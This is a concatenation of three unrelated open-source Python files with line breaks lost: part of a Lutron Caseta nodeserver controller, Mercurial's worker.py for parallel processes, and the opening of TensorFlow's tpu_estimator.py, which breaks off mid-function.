self.polyConfig['customParams']: self.lutron_bridge_ip = self.polyConfig['customParams']['lutron_bridge_ip'] else: self.lutron_bridge_ip = default_lutron_bridge_ip LOGGER.error('check_params: lutron_bridge_ip not defined in customParams, please add it. Using {}'.format(self.lutron_bridge_ip)) st = False if 'oauth_code' in self.polyConfig['customParams']: self.oauth_code = self.polyConfig['customParams']['oauth_code'] else: self.oauth_code = default_oauth_code LOGGER.error('check_params: oauth_code not defined.') st = False # Make sure they are in the params self.addCustomParam({'oauth_code': self.oauth_code, 'lutron_bridge_ip': self.lutron_bridge_ip}) # Add a notice if they need to change the user/password from the default. if self.lutron_bridge_ip == default_lutron_bridge_ip or self.oauth_code == default_oauth_code: # This doesn't pass a key to test the old way. self.addNotice('Please set proper lutron_bridge_ip and oauth_code in configuration page, and restart this nodeserver', 'addconfig') else: self.removeNotice('addconfig') def set_debug_level(self,level=None): LOGGER.debug('set_debug_level: {}'.format(level)) if level is None: level = self.getDriver('GV1') if level is None: level = 30 level = int(level) if level == 0: level = 30 LOGGER.info('set_debug_level: Set GV1 to {}'.format(level)) self.setDriver('GV1', level) # 0=All 10=Debug are the same because 0 (NOTSET) doesn't show everything. if level <= 10: LOGGER.setLevel(logging.DEBUG) if level <= 9: logging.getLogger('pylutron_caseta.smartbridge').setLevel(logging.DEBUG) if level <= 8: logging.getLogger('pylutron_caseta.leap').setLevel(logging.DEBUG) else: logging.getLogger('pylutron_caseta.leap').setLevel(logging.WARNING) else: logging.getLogger('pylutron_caseta.leap').setLevel(logging.WARNING) logging.getLogger('pylutron_caseta.smartbridge').setLevel(logging.WARNING) else: logging.getLogger('pylutron_caseta.leap').setLevel(logging.WARNING) logging.getLogger('pylutron_caseta.smartbridge').setLevel(logging.WARNING) if level == 20: LOGGER.setLevel(logging.INFO) elif level == 30: LOGGER.setLevel(logging.WARNING) elif level == 40: LOGGER.setLevel(logging.ERROR) elif level == 50: LOGGER.setLevel(logging.CRITICAL) else: LOGGER.debug("set_debug_level: Unknown level {}".format(level)) def update_profile(self,command): LOGGER.info('update_profile:') st = self.poly.installprofile() return st def cmd_set_debug_mode(self,command): val = int(command.get('value')) LOGGER.debug("cmd_set_debug_mode: {}".format(val)) self.set_debug_level(val) """ Optional. Since the controller is the parent node in ISY, it will actual show up as a node. So it needs to know the drivers and what id it will use. The drivers are the defaults in the parent Class, so you don't need them unless you want to add to them. The ST and GV1 variables are for reporting status through Polyglot to ISY, DO NOT remove them. UOM 2 is boolean. The id must match the nodeDef id="controller" In the nodedefs.xml """ id = 'controller' commands = { 'QUERY': query, 'DISCOVER': discover, 'UPDATE_PROFILE': update_profile, 'SET_DM': cmd_set_debug_mode, } drivers = [ {'driver': 'ST', 'value': 1, 'uom': 2}, {'driver': 'GV1', 'value': 30, 'uom': 25} # Debug (Log) Mode, default=30=Warning ]
worker.py
# worker.py - master-slave parallelism support # # Copyright 2013 Facebook, Inc. # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. from i18n import _ import errno, os, signal, sys, threading import util def countcpus(): '''try to count the number of CPUs on the system''' # posix try: n = int(os.sysconf('SC_NPROCESSORS_ONLN')) if n > 0: return n except (AttributeError, ValueError): pass # windows try: n = int(os.environ['NUMBER_OF_PROCESSORS']) if n > 0: return n except (KeyError, ValueError): pass return 1 def _numworkers(ui): s = ui.config('worker', 'numcpus') if s: try: n = int(s) if n >= 1: return n except ValueError: raise util.Abort(_('number of cpus must be an integer')) return min(max(countcpus(), 4), 32) if os.name == 'posix': _startupcost = 0.01 else: _startupcost = 1e30 def worthwhile(ui, costperop, nops): '''try to determine whether the benefit of multiple processes can outweigh the cost of starting them''' linear = costperop * nops workers = _numworkers(ui) benefit = linear - (_startupcost * workers + linear / workers) return benefit >= 0.15 def worker(ui, costperarg, func, staticargs, args): '''run a function, possibly in parallel in multiple worker processes. returns a progress iterator costperarg - cost of a single task func - function to run staticargs - arguments to pass to every invocation of the function args - arguments to split into chunks, to pass to individual workers ''' if worthwhile(ui, costperarg, len(args)): return _platformworker(ui, func, staticargs, args) return func(*staticargs + (args,)) def _posixworker(ui, func, staticargs, args): rfd, wfd = os.pipe() workers = _numworkers(ui) oldhandler = signal.getsignal(signal.SIGINT) signal.signal(signal.SIGINT, signal.SIG_IGN) pids, problem = [], [0] for pargs in partition(args, workers): pid = os.fork() if pid == 0: signal.signal(signal.SIGINT, oldhandler) try: os.close(rfd) for i, item in func(*(staticargs + (pargs,))): os.write(wfd, '%d %s\n' % (i, item)) os._exit(0) except KeyboardInterrupt: os._exit(255) # other exceptions are allowed to propagate, we rely # on lock.py's pid checks to avoid release callbacks pids.append(pid) pids.reverse() os.close(wfd) fp = os.fdopen(rfd, 'rb', 0) def killworkers(): # if one worker bails, there's no good reason to wait for the rest for p in pids: try: os.kill(p, signal.SIGTERM) except OSError, err: if err.errno != errno.ESRCH: raise def waitforworkers(): for _ in pids: st = _exitstatus(os.wait()[1]) if st and not problem[0]: problem[0] = st killworkers() t = threading.Thread(target=waitforworkers) t.start() def cleanup(): signal.signal(signal.SIGINT, oldhandler) t.join() status = problem[0] if status: if status < 0: os.kill(os.getpid(), -status) sys.exit(status) try: for line in fp: l = line.split(' ', 1) yield int(l[0]), l[1][:-1] except: # re-raises killworkers() cleanup() raise cleanup() def _posixexitstatus(code): '''convert a posix exit status into the same form returned by os.spawnv returns None if the process was stopped instead of exiting''' if os.WIFEXITED(code): return os.WEXITSTATUS(code) elif os.WIFSIGNALED(code): return -os.WTERMSIG(code) if os.name != 'nt': _platformworker = _posixworker _exitstatus = _posixexitstatus def partition(lst, nslices): '''partition a list into N slices of equal size''' n = len(lst) chunk, slop = n / nslices, n % nslices end = 0 for i in xrange(nslices): start = end end = start + chunk if slop: end += 1 slop -= 1 yield lst[start:end]
tpu_estimator.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =================================================================== """TPUEstimator class.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import copy import os import signal import sys import threading import time import numpy as np import six from six.moves import queue as Queue # pylint: disable=redefined-builtin from six.moves import xrange # pylint: disable=redefined-builtin from tensorflow.contrib.tpu.python.ops import tpu_ops from tensorflow.contrib.tpu.python.tpu import error_handling from tensorflow.contrib.tpu.python.tpu import session_support from tensorflow.contrib.tpu.python.tpu import tpu from tensorflow.contrib.tpu.python.tpu import tpu_config from tensorflow.contrib.tpu.python.tpu import tpu_context from tensorflow.contrib.tpu.python.tpu import tpu_feed from tensorflow.contrib.tpu.python.tpu import training_loop from tensorflow.contrib.tpu.python.tpu import util as util_lib from tensorflow.contrib.training.python.training import hparam from tensorflow.core.framework import variable_pb2 from tensorflow.core.framework.summary_pb2 import Summary from tensorflow.core.protobuf import config_pb2 from tensorflow.python.data.ops import dataset_ops from tensorflow.python.data.util import nest as data_nest from tensorflow.python.estimator import estimator as estimator_lib from tensorflow.python.estimator import model_fn as model_fn_lib from tensorflow.python.estimator import util as estimator_util from tensorflow.python.estimator.export import export_output as export_output_lib from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import check_ops from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import resource_variable_ops from tensorflow.python.ops import state_ops from tensorflow.python.ops import summary_ops_v2 as contrib_summary from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables from tensorflow.python.platform import tf_logging as logging from tensorflow.python.saved_model import tag_constants from tensorflow.python.summary import summary from tensorflow.python.training import basic_session_run_hooks from tensorflow.python.training import evaluation from tensorflow.python.training import session_run_hook from tensorflow.python.training import training from tensorflow.python.training import training_util from tensorflow.python.util import function_utils from tensorflow.python.util import nest from tensorflow.python.util import tf_inspect _INITIAL_LOSS = 1e7 _ZERO_LOSS = 0. _TPU_ESTIMATOR = 'tpu_estimator' _ITERATIONS_PER_LOOP_VAR = 'iterations_per_loop' _BATCH_SIZE_KEY = 'batch_size' _CTX_KEY = 'context' _USE_TPU_KEY = 'use_tpu' _CROSS_REPLICA_SUM_OP = 'CrossReplicaSum' _ONE_GIGABYTE = 1024 * 1024 * 1024 _TPU_ENQUEUE_OPS = '_tpu_enqueue_ops' _TPU_TRAIN_OP = '_tpu_train_op' _REWRITE_FOR_INFERENCE_MODE = '_rewrite_for_inference' # Ideally _USE_TPU_KEY should be reserved as well. However there are already # models that make use of this key, thus it can not be reserved now to prevent # breakage. In the long run, we would like to mitigate this by migrating models # off of using _USE_TPU_KEY. _RESERVED_PARAMS_KEYS = [_BATCH_SIZE_KEY, _CTX_KEY] # TODO(b/65703635): Flip the value and remove all dead code. Currently, this is # only used for per-core based deployments. For per-host based pipelines, if a # user returns a Dataset instance it will be automatically wrapped in a # tf.while_loop (This can be disabled by returning features and labels # explicitly). _WRAP_INPUT_FN_INTO_WHILE_LOOP = False ops.register_proto_function( '{}_{}'.format(_TPU_ESTIMATOR, _ITERATIONS_PER_LOOP_VAR), proto_type=variable_pb2.VariableDef, to_proto=resource_variable_ops._to_proto_fn, # pylint: disable=protected-access from_proto=resource_variable_ops._from_proto_fn) # pylint: disable=protected-access def _create_global_step(graph): graph = graph or ops.get_default_graph() if training.get_global_step(graph) is not None: raise ValueError('"global_step" already exists.') # Create in proper graph and base name_scope. with graph.as_default() as g, g.name_scope(None): return variable_scope.get_variable( ops.GraphKeys.GLOBAL_STEP, shape=[], dtype=dtypes.int64, initializer=init_ops.zeros_initializer(), trainable=False, use_resource=True, collections=[ops.GraphKeys.GLOBAL_VARIABLES, ops.GraphKeys.GLOBAL_STEP]) def _create_or_get_iterations_per_loop(): """Creates or gets the iterations_per_loop variable. In TPUEstimator, the user provided computation, the model_fn, is wrapped inside a tf.while_loop for peak performance. The iterations of the loop are specified by this variable, which adjusts its value on the CPU after each TPU program execution and before the next TPU execution. The purpose of using a variable, rather then a constant, is to allow TPUEstimator adapt the TPU training iterations according to the final steps specified by users. For example, if the user sets the iterations_per_loop as 4 in TPUConfig and steps as 10 in TPUEstimator.train(), the iterations_per_loop variable will have the following value before each TPU training. - 1-th TPU execution: iterations_per_loop = 4 - 2-th TPU execution: iterations_per_loop = 4 - 3-th TPU execution: iterations_per_loop = 2 As model_fn increases the global step once per train_op invocation, the global step is 10 after all TPU executions, matching the steps=10 inputs passed in by users. Returns: A TF non-trainable resource variable. Raises: RuntimeError: If multi iterations_per_loop variables were found. """ graph = ops.get_default_graph() collection_name = '{}_{}'.format(_TPU_ESTIMATOR, _ITERATIONS_PER_LOOP_VAR) iter_vars = graph.get_collection(collection_name) if len(iter_vars) == 1: return iter_vars[0] elif len(iter_vars) > 1: raise RuntimeError('Multiple iterations_per_loop_var in collection.') with ops.colocate_with(training_util.get_global_step()): with variable_scope.variable_scope( _TPU_ESTIMATOR, reuse=variable_scope.AUTO_REUSE): return variable_scope.get_variable( _ITERATIONS_PER_LOOP_VAR, initializer=init_ops.zeros_initializer(), shape=[], dtype=dtypes.int32, trainable=False, collections=[collection_name, ops.GraphKeys.LOCAL_VARIABLES], use_resource=True) def _sync_variables_ops(ctx): """Create varriables synchronization ops. Gets the variables back from TPU nodes. This means the variables updated by TPU will now be *synced* to host memory. In BROADCAST mode, we skip this sync since the variables are ususally too big to transmit via RPC. Args: ctx: A `_InternalTPUContext` instance with mode. Returns: A list of sync ops. """ if not ctx.is_input_broadcast_with_iterators(): return [ array_ops.check_numerics(v.read_value(), 'Gradient for %s is NaN' % v.name).op for v in variables.trainable_variables() ] else: return [control_flow_ops.no_op()] def _increase_eval_step_op(iterations_per_loop): """Returns an op to increase the eval step for TPU evaluation. Args: iterations_per_loop: Tensor. The number of eval steps running in TPU system before returning to CPU host for each `Session.run`. Returns: An operation """ eval_step = evaluation._get_or_create_eval_step() # pylint: disable=protected-access # Estimator evaluate increases 1 by default. So, we increase the difference. return state_ops.assign_add( eval_step, math_ops.cast(iterations_per_loop - 1, dtype=eval_step.dtype), use_locking=True) def _extract_key_names(tensor_or_dict): if isinstance(tensor_or_dict, dict): return sorted(tensor_or_dict.keys()) return [] class _SIGNAL(object): """Signal used to control the thread of infeed/outfeed. All preserved signals must be negative numbers. Positive numbers are used to indicate the number of iterations for next training/evaluation loop. """ NEXT_BATCH = -1 STOP = -2 class TPUEstimatorSpec(model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access """Ops and objects returned from a `model_fn` and passed to `TPUEstimator`. See `EstimatorSpec` for `mode`, `predictions`, `loss`, `train_op`, and `export_outputs`. For evaluation, `eval_metrics `is a tuple of `metric_fn` and `tensors`, where `metric_fn` runs on CPU to generate metrics and `tensors` represents the `Tensor`s transferred from TPU system to CPU host and passed to `metric_fn`. To be precise, TPU evaluation expects a slightly different signature from the `tf.estimator.Estimator`. While `EstimatorSpec.eval_metric_ops` expects a dict, `TPUEstimatorSpec.eval_metrics` is a tuple of `metric_fn` and `tensors`. The `tensors` could be a list of `Tensor`s or dict of names to `Tensor`s. The `tensors` usually specify the model logits, which are transferred back from TPU system to CPU host. All tensors must have be batch-major, i.e., the batch size is the first dimension. Once all tensors are available at CPU host from all shards, they are concatenated (on CPU) and passed as positional arguments to the `metric_fn` if `tensors` is list or keyword arguments if `tensors` is a dict. `metric_fn` takes the `tensors` and returns a dict from metric string name to the result of calling a metric function, namely a `(metric_tensor, update_op)` tuple. See `TPUEstimator` for MNIST example how to specify the `eval_metrics`. `scaffold_fn` is a function running on CPU to generate the `Scaffold`. This function should not capture any Tensors in `model_fn`. `host_call` is a tuple of a `function` and a list or dictionary of `tensors` to pass to that function and returns a list of Tensors. `host_call` currently works for train() and evaluate(). The Tensors returned by the function is executed on the CPU on every step, so there is communication overhead when sending tensors from TPU to CPU. To reduce the overhead, try reducing the size of the tensors. The `tensors` are concatenated along their major (batch) dimension, and so must be >= rank 1. The `host_call` is useful for writing summaries with `tf.contrib.summary.create_file_writer`. """ def __new__(cls, mode, predictions=None, loss=None, train_op=None, eval_metrics=None, export_outputs=None, scaffold_fn=None, host_call=None, training_hooks=None, evaluation_hooks=None, prediction_hooks=None): """Creates a validated `TPUEstimatorSpec` instance.""" host_calls = {} if eval_metrics is not None: host_calls['eval_metrics'] = eval_metrics if host_call is not None: host_calls['host_call'] = host_call _OutfeedHostCall.validate(host_calls) training_hooks = list(training_hooks or []) evaluation_hooks = list(evaluation_hooks or []) prediction_hooks = list(prediction_hooks or []) for hook in training_hooks + evaluation_hooks + prediction_hooks: if not isinstance(hook, session_run_hook.SessionRunHook): raise TypeError('All hooks must be SessionRunHook instances, given: {}' .format(hook)) return super(TPUEstimatorSpec, cls).__new__( cls, mode=mode, predictions=predictions, loss=loss, train_op=train_op, eval_metrics=eval_metrics, export_outputs=export_outputs, scaffold_fn=scaffold_fn, host_call=host_call, training_hooks=training_hooks, evaluation_hooks=evaluation_hooks, prediction_hooks=prediction_hooks) def as_estimator_spec(self): """Creates an equivalent `EstimatorSpec` used by CPU train/eval.""" host_calls = {} if self.eval_metrics is not None: host_calls['eval_metrics'] = self.eval_metrics if self.host_call is not None: host_calls['host_call'] = self.host_call host_call_ret = _OutfeedHostCall.create_cpu_hostcall(host_calls) eval_metric_ops = None if self.eval_metrics is not None: eval_metric_ops = host_call_ret['eval_metrics'] hooks = None if self.host_call is not None: hooks = [_OutfeedHostCallHook(host_call_ret['host_call'])] hooks = list(hooks or []) scaffold = self.scaffold_fn() if self.scaffold_fn else None return model_fn_lib.EstimatorSpec( mode=self.mode, predictions=self.predictions, loss=self.loss, train_op=self.train_op, eval_metric_ops=eval_metric_ops, export_outputs=self.export_outputs, scaffold=scaffold, training_hooks=self.training_hooks + hooks, evaluation_hooks=self.evaluation_hooks + hooks, prediction_hooks=self.prediction_hooks + hooks) class _OpQueueContext(object): """Manages work queue and thread for a infeed/outfeed thread.""" def __init__(self, name, target, args): self._name = name self._queue = Queue.Queue() args = (self,) + args self._thread = threading.Thread(name=name, target=target, args=args) self._thread.daemon = True self._thread.start() def stop(self): self._queue.put(_SIGNAL.STOP) def send_next_batch_signal(self, iterations): self._queue.put(iterations) def read_iteration_counts(self): while True: iterations = self._queue.get(block=True) logging.debug('%s read iterations %s', self._name, iterations) if iterations == _SIGNAL.STOP: logging.info('%s received shutdown signal, stopping.', self._name) return yield iterations def join(self): logging.info('Shutting down %s thread.', self._name) self.stop() self._thread.join() class _OpSignalOnceQueueContext(_OpQueueContext): """Manages work queue and thread for a infeed/outfeed thread. This subclass only signals once. """ def __init__(self, name, target, args): super(_OpSignalOnceQueueContext, self).__init__(name, target, args) self._has_signaled = False def send_next_batch_signal(self, iterations): if not self._has_signaled: self._queue.put(iterations) self._has_signaled = True class TPUInfeedOutfeedSessionHook(session_run_hook.SessionRunHook): """A Session hook setting up the TPU initialization, infeed, and outfeed. This hook does two major things: 1. initialize and shutdown TPU system. 2. launch and join the threads for infeed enqueue and (optional) outfeed dequeue. """ def __init__(self, ctx, enqueue_ops, dequeue_ops, run_infeed_loop_on_coordinator=True, rendezvous=None): self._master_job = ctx.master_job self._enqueue_ops = enqueue_ops self._dequeue_ops = dequeue_ops self._rendezvous = rendezvous self._run_infeed_loop_on_coordinator = run_infeed_loop_on_coordinator self._initial_infeed_sleep_secs = ( ctx.config.tpu_config.initial_infeed_sleep_secs) self._feed_error = None self._finished = False self._should_initialize_tpu = True def begin(self): logging.info('TPU job name %s', self._master_job) self._iterations_per_loop_var = _create_or_get_iterations_per_loop() if self._should_initialize_tpu: self._init_ops = [tpu.initialize_system(job=self._master_job)] self._finalize_ops = [tpu.shutdown_system(job=self._master_job)] else: self._init_ops = [] self._finalize_ops = [] summary_writer_init_ops = contrib_summary.summary_writer_initializer_op() self._init_ops.extend(summary_writer_init_ops) # Get all the writer resources from the initializer, so we know what to # flush. for op in summary_writer_init_ops: self._finalize_ops.append(contrib_summary.flush(writer=op.inputs[0])) def _run_infeed(self, queue_ctx, session): logging.info('Starting infeed thread controller.') if self._initial_infeed_sleep_secs: logging.info('Infeed thread sleeping for %d seconds.', self._initial_infeed_sleep_secs) time.sleep(self._initial_infeed_sleep_secs) logging.info('Infeed thread starting after sleep') with self._rendezvous.catch_errors(source='infeed', session=session): if self._run_infeed_loop_on_coordinator: for count, steps in enumerate(queue_ctx.read_iteration_counts()): for i in xrange(steps): logging.debug('Infeed enqueue for iteration (%d, %d)', count, i) session.run(self._enqueue_ops) else: for _ in queue_ctx.read_iteration_counts(): session.run(self._enqueue_ops) logging.info('Infeed thread finished, shutting down.') def _run_outfeed(self, queue_ctx, session): logging.info('Starting outfeed thread controller.') with self._rendezvous.catch_errors(source='outfeed', session=session): for count, steps in enumerate(queue_ctx.read_iteration_counts()): for i in xrange(steps): logging.debug('Outfeed dequeue for iteration (%d, %d)', count, i) session.run(self._dequeue_ops) logging.info('Outfeed thread finished, shutting down.') def _create_infeed_controller(self, name, target, args): return _OpQueueContext(name=name, target=target, args=args) def after_create_session(self, session, coord): logging.info('Init TPU system') start = time.time() session.run(self._init_ops, options=config_pb2.RunOptions(timeout_in_ms=5 * 60 * 1000)) logging.info('Initialized TPU in %d seconds', time.time() - start) self._infeed_controller = self._create_infeed_controller( name='InfeedController', target=self._run_infeed, args=(session,)) self._outfeed_controller = _OpQueueContext( name='OutfeedController', target=self._run_outfeed, args=(session,)) # Enable the worker watchdog to terminate workers on coordinator exit. watchdog_timeout = int(os.environ.get('TF_TPU_WATCHDOG_TIMEOUT', '0')) if watchdog_timeout > 0: session_support.start_worker_watchdog(session, shutdown_timeout=watchdog_timeout) def before_run(self, run_context): self._feed_error = None iterations = run_context.session.run(self._iterations_per_loop_var) logging.info('Enqueue next (%d) batch(es) of data to infeed.', iterations) self._infeed_controller.send_next_batch_signal(iterations) logging.info('Dequeue next (%d) batch(es) of data from outfeed.', iterations) self._outfeed_controller.send_next_batch_signal(iterations) def end(self, session): self._finished = True logging.info('Stop infeed thread controller') self._infeed_controller.join() self._rendezvous.record_done('infeed') logging.info('Stop output thread controller') self._outfeed_controller.join() self._rendezvous.record_done('outfeed') logging.info('Shutdown TPU system.') session.run(self._finalize_ops) class TPUInfeedOutfeedSessionHookForPrediction(TPUInfeedOutfeedSessionHook): def __init__(self, ctx, enqueue_ops, dequeue_ops, rendezvous=None): super(TPUInfeedOutfeedSessionHookForPrediction, self).__init__( ctx, enqueue_ops, dequeue_ops, run_infeed_loop_on_coordinator=False, rendezvous=rendezvous) def _create_infeed_controller(self, name, target, args): return _OpSignalOnceQueueContext(name=name, target=target, args=args) class _TPUStopAtStepHook(session_run_hook.SessionRunHook): """Hook that requests stop at a specified step. This hook is similar to the `session_run_hook._StopAfterNEvalsHook` with following differences for TPU training: 1. This hook sets the variable for iterations_per_loop, which is used by `TPUInfeedOutfeedSessionHook` to control the iterations for infeed/outfeed. As the hook execution order is not guaranteed, the variable update is handled in `after_create_session` and `after_run` as `TPUInfeedOutfeedSessionHook` reads the variable value in `before_run`. 2. For each training loop (session.run), the global step could be increased multiple times on TPU. The global step tensor value will be explicitly read again in `after_run` to ensure the latest value is retrieved to avoid race condition. """ def __init__(self, iterations, num_steps=None, last_step=None): """Initializes a `StopAtStepHook`. Args: iterations: The number of iterations to run optimizer per training loop. num_steps: Number of steps to execute. last_step: Step after which to stop. Raises: ValueError: If one of the arguments is invalid. """ if num_steps is None and last_step is None: raise ValueError('One of num_steps or last_step must be specified.') if num_steps is not None and last_step is not None: raise ValueError('Only one of num_steps or last_step can be specified.') self._num_steps = num_steps self._last_step = last_step self._iterations = iterations def _next_iterations(self, global_step, last_step): gap = last_step - global_step return min(gap, self._iterations) def begin(self): self._global_step_tensor = training_util.get_global_step() if self._global_step_tensor is None: raise RuntimeError('Global step should be created.') self._iterations_per_loop_var = _create_or_get_iterations_per_loop() def after_create_session(self, session, coord): global_step = session.run(self._global_step_tensor) if self._last_step is None: self._last_step = global_step + self._num_steps iterations = self._next_iterations(global_step, self._last_step) self._iterations_per_loop_var.load(iterations, session=session) def after_run(self, run_context, run_values): # Global step cannot be retrieved via SessionRunArgs and before_run due to # race condition. global_step = run_context.session.run(self._global_step_tensor) if global_step >= self._last_step: run_context.request_stop() else: iterations = self._next_iterations(global_step, self._last_step) self._iterations_per_loop_var.load( iterations, session=run_context.session) class _SetEvalIterationsHook(session_run_hook.SessionRunHook): """Hook that requests stop at a specified step.""" def __init__(self, num_steps): """Initializes a `_SetEvalIterationsHook`. Args: num_steps: Number of steps to execute. """ self._num_steps = num_steps def begin(self): self._iterations_per_loop_var = _create_or_get_iterations_per_loop() def after_create_session(self, session, coord): self._iterations_per_loop_var.load(self._num_steps, session=session) class _StoppingPredictHook(session_run_hook.SessionRunHook): """Hook that requests stop according to the stopping signal in prediction.""" def __init__(self, scalar_stopping_signal): self._scalar_stopping_signal = scalar_stopping_signal def begin(self): self._iterations_per_loop_var = _create_or_get_iterations_per_loop() def after_create_session(self, session, coord): # This is not necessary as we do not run infeed enqueue and outfeed dequeue # in side threads for prediction model. But it makes the # TPUInfeedOutfeedSessionHook prints nice message. self._iterations_per_loop_var.load(1, session=session) def before_run(self, run_context): return session_run_hook.SessionRunArgs(self._scalar_stopping_signal) def after_run(self, run_context, run_values): _ = run_context scalar_stopping_signal = run_values.results if _StopSignals.should_stop(scalar_stopping_signal): # NOTE(xiejw): In prediction, stopping signals are inserted for each # batch. And we append one more batch to signal the system it should stop. # The data flow might look like # # batch 0: images, labels, stop = 0 (user provided) # batch 1: images, labels, stop = 0 (user provided) # ... # batch 99: images, labels, stop = 0 (user provided) # batch 100: images, labels, stop = 1 (TPUEstimator appended) # # where the final batch (id = 100) is appended by TPUEstimator, so we # should drop it before returning the predictions to user. # To achieve that, we throw the OutOfRangeError in after_run. Once # Monitored Session sees this error in SessionRunHook.after_run, the # "current" prediction, i.e., batch with id=100, will be discarded # immediately raise errors.OutOfRangeError(None, None, 'Stopped by stopping signal.') def generate_per_core_enqueue_ops_fn_for_host( ctx, input_fn, inputs_structure_recorder, host_device, host_id): """Generates infeed enqueue ops for per-core input_fn on a single host.""" captured_infeed_queue = _CapturedObject() tpu_ordinal_function_impl = ctx.tpu_ordinal_function(host_id) def enqueue_ops_fn(): """A fn returns enqueue_ops.""" num_cores_per_host = ctx.num_of_cores_per_host per_host_sharded_inputs = [] for core_ordinal in range(num_cores_per_host): with ops.name_scope('ordinal_%d' % (core_ordinal)): user_context = tpu_context.TPUContext( internal_ctx=ctx, input_device=host_device, invocation_index=host_id * ctx.num_of_cores_per_host + core_ordinal) inputs = _Inputs.from_input_fn(input_fn(user_context)) if inputs.is_dataset: raise TypeError( '`input_fn` returning `Dataset` is not yet supported in ' 'per-Core input pipeline deployment yet. Please set ' 'TPUConfig.per_host_input_for_training to True or return ' '`features` and `labels` from `input_fn`') features, labels = inputs.features_and_labels() inputs_structure_recorder.validate_and_record_structure( features, labels) flattened_inputs = ( inputs_structure_recorder.flatten_features_and_labels( features, labels)) per_host_sharded_inputs.append(flattened_inputs) infeed_queue = tpu_feed.InfeedQueue( number_of_tuple_elements=len(per_host_sharded_inputs[0])) captured_infeed_queue.capture(infeed_queue) per_host_enqueue_ops = infeed_queue.generate_enqueue_ops( per_host_sharded_inputs, tpu_ordinal_function=tpu_ordinal_function_impl) return per_host_enqueue_ops return enqueue_ops_fn, captured_infeed_queue def generate_per_host_enqueue_ops_fn_for_host( ctx, input_fn, inputs_structure_recorder, batch_axis, device, host_id): """Generates infeed enqueue ops for per-host input_fn on a single host.""" captured_infeed_queue = _CapturedObject() dataset_initializer = None with ops.device(device): user_context = tpu_context.TPUContext( internal_ctx=ctx, input_device=device, invocation_index=host_id) inputs = _Inputs.from_input_fn(input_fn(user_context)) is_dataset = inputs.is_dataset if ctx.mode == model_fn_lib.ModeKeys.PREDICT: if not is_dataset: raise TypeError( 'For mode PREDICT, `input_fn` must return `Dataset` instead of ' '`features` and `labels`.') if batch_axis is not None: raise TypeError('For mode PREDICT, batch_axis is not supported yet.') inputs = _InputsWithStoppingSignals( dataset=inputs.dataset, batch_size=ctx.batch_size_for_input_fn, add_padding=True) if is_dataset: dataset_initializer = inputs.dataset_initializer() tpu_ordinal_function_impl = ctx.tpu_ordinal_function(host_id) def enqueue_ops_fn(): """A Fn returning the TPU infeed enqueue ops. By providing as a Fn, it can be invoked inside the tf.while_loop such that the input pipeline for multiple iterations can be executed by one Session.run call. Returns: list of dict of ops. """ with ops.device(device): num_of_replicas_per_host = ctx.num_of_replicas_per_host # Convert user input to features and labels. If the user returns a # dataset, it is initialized and the features and labels extracted via # `dataset.iterator.get_next()` features, labels = inputs.features_and_labels() signals = inputs.signals() inputs_structure_recorder.validate_and_record_structure(features, labels) unsharded_tensor_list = ( inputs_structure_recorder.flatten_features_and_labels( features, labels, signals)) infeed_queue = tpu_feed.InfeedQueue( tuple_types=[t.dtype for t in unsharded_tensor_list], tuple_shapes=[t.shape for t in unsharded_tensor_list], shard_dimensions=batch_axis) captured_infeed_queue.capture(infeed_queue) infeed_queue.set_number_of_shards(num_of_replicas_per_host) per_host_enqueue_ops = ( infeed_queue.split_inputs_and_generate_enqueue_ops( unsharded_tensor_list, placement_function=lambda x: device, tpu_ordinal_function=tpu_ordinal_function_impl)) if signals is None: return per_host_enqueue_ops else: return { 'ops': per_host_enqueue_ops, 'signals': signals, } return enqueue_ops_fn, captured_infeed_queue, dataset_initializer def generate_per_host_v2_enqueue_ops_fn_for_host( ctx, input_fn, inputs_structure_recorder, device, host_id): """Generates infeed enqueue ops for per-host input_fn on a single host.""" captured_infeed_queue = _CapturedObject() dataset_initializer = None with ops.device(device): user_context = tpu_context.TPUContext( internal_ctx=ctx, input_device=device, invocation_index=host_id) inputs = _Inputs.from_input_fn(input_fn(user_context)) is_dataset = inputs.is_dataset if not is_dataset: raise TypeError('`input_fn` must return a `Dataset` for the PER_HOST_V2 ' 'input pipeline configuration.') if ctx.mode == model_fn_lib.ModeKeys.PREDICT: inputs = _InputsWithStoppingSignals( dataset=inputs.dataset, batch_size=ctx.batch_size_for_input_fn, add_padding=True, num_invocations_per_step=ctx.num_of_replicas_per_host) dataset_initializer = inputs.dataset_initializer() tpu_ordinal_function_impl = ctx.tpu_ordinal_function(host_id) def enqueue_ops_fn(): """Generates the per_host enqueue ops.""" control_deps = [] per_host_sharded_inputs = [] num_replicas_per_host = ctx.num_of_replicas_per_host cached_signals = None with ops.device(device): if not inputs.is_dataset: raise TypeError('`input_fn` must return a `Dataset` for this mode.') for _ in range(num_replicas_per_host): # Use control dependencies to ensure a deterministic ordering. with ops.control_dependencies(control_deps): features, labels = inputs.features_and_labels() # Calls get_next() signals = inputs.signals() # All the replicas share the replica 0's stopping singal. # This avoids inconsistent state among different model replcias. if cached_signals: signals['stopping'] = cached_signals['stopping'] else: cached_signals = signals inputs_structure_recorder.validate_and_record_structure( features, labels) flattened_inputs = ( inputs_structure_recorder.flatten_features_and_labels( features, labels, signals)) control_deps.extend(flattened_inputs) per_host_sharded_inputs.append(flattened_inputs) if inputs_structure_recorder.flattened_input_dims: input_partition_dims = inputs_structure_recorder.flattened_input_dims if signals: input_partition_dims += [None] * len(signals) # pylint: disable=protected-access infeed_queue = tpu_feed._PartitionedInfeedQueue( number_of_tuple_elements=len(per_host_sharded_inputs[0]), host_id=host_id, input_partition_dims=input_partition_dims, device_assignment=ctx.device_assignment) per_host_enqueue_ops = infeed_queue.generate_enqueue_ops( 